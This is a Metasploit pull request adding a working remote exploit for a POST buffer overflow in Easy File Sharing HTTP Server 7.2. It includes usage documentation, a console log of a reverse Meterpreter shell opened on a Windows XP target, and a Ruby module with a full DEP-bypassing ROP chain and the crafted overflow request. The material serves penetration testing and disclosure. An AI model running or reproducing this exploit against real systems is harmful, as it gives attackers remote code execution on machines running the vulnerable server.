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Easy File Sharing HTTP Server 7.2 - Post Overflow exploit #8579

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Jun 22, 2017
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Easy File Sharing HTTP Server 7.2 - Post Overflow exploit #8579

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31a5cc9
Easy File Sharing HTTP Server 7.2 - Post Overflow exploit
Mzack9999 Jun 17, 2017
7fb36ed
corrected msftidy warnings
Mzack9999 Jun 17, 2017
c7a55ef
Added exploit documentation
Mzack9999 Jun 20, 2017
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53 changes: 53 additions & 0 deletions modules/exploits/windows/http/easyfilesharing_post.md
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## Description

This module exploits a vulnerability in the Easy File Sharing Web Server application, by exploiting an overflow in the Email Post parameter, through DEP bypass via ROP chain.

This module allows a remote attacker to get a payload executed under the context of the user running the Easy File Sharing application

## Vulnerable Application

[Easy File Sharing](http://www.sharing-file.com/) is a file sharing software that allows visitors to upload/download files easily through a Web Browser (IE, Firefox, Chrome etc.).

This module has been tested successfully on

* Easy File Sharing 7.2 on Windows XP En Sp3

Installers:

[Easy File Sharing Installers](http://www.sharing-file.com/efssetup.exe)

## Verification Steps

1. Start `msfconsole`
2. Do: `use exploits/windows/http/easyfilesharing_post`
3. Do: `set rhosts [IP]`
4. Do: `exploit`
5. You should get your payload executed

## Scenarios

```
root@kali:~$ msfconsole -q
msf > use exploit/windows/http/easyfilesharing_post
msf exploit(easyfilesharing_post) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(easyfilesharing_post) > exploit
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Sending stage (957487 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1253) at 2017-06-17 22:45:34 +0200
meterpreter > sysinfo
Computer : MM
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.56.101 - Meterpreter session 1 closed. Reason: User exit
msf exploit(easyfilesharing_post) >
```
159 changes: 159 additions & 0 deletions modules/exploits/windows/http/easyfilesharing_post.rb
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
#include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',
'Description' => %q{
This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.
},
'Author' =>
[
'bl4ck h4ck3r', #POC
'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '42186' ],
],
'Privileged' => true,
'Payload' =>
{
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],
],
'DefaultOptions' => {
'RPORT' => 80,
'EXITFUNC' => 'thread',
'ENCODER' => 'x86/alpha_mixed'
},
'DisclosureDate' => 'Jun 12 2017',
'DefaultTarget' => 0))
end

def create_rop_chain
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
# 0x00000000, # [-] Unable to find gadget to put 00000201 into ebx
0x10015442, # POP EAX # RETN [ImageLoad.dll]
0xFFFFFDFE, # -202
0x100231d1, # NEG EAX # RETN [ImageLoad.dll]
0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]| {PAGE_EXECUTE_READ}
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
0x10015442, # POP EAX # RETN [ImageLoad.dll]
0x1004de84, # &Writable location [ImageLoad.dll]
0x10015442, # POP EAX # RETN [ImageLoad.dll]
0x61c832d0, # ptr to &VirtualProtect() [IAT sqlite3.dll]
0x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
0x61c0a798, # XCHG EAX,EDI # RETN [sqlite3.dll]
0x1001d626, # XOR ESI,ESI # RETN [ImageLoad.dll]
0x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]
0x100218f9, # POP EBP # RETN [ImageLoad.dll]
0x61c24169, # & push esp # ret [sqlite3.dll]
0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
0x1001bd98, # POP ECX # RETN [ImageLoad.dll]
0x1004de84, # &Writable location [ImageLoad.dll]
0x61c373a4, # POP EDI # RETN [sqlite3.dll]
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
0x10015442, # POP EAX # RETN [ImageLoad.dll]
0x90909090, # nop
0x100240c2, # PUSHAD # RETN [ImageLoad.dll]
].flatten.pack('V*')
return rop_gadgets
end

def exploit
sploit = rand_text_alpha_upper(2278)
rop_chain = create_rop_chain
sploit << rop_chain
sploit << "\x90" * 200
sploit << payload.encoded
sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)
sploit << [target.ret].pack('V')

request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"
connect
sock.put(request)
handler
disconnect
end
end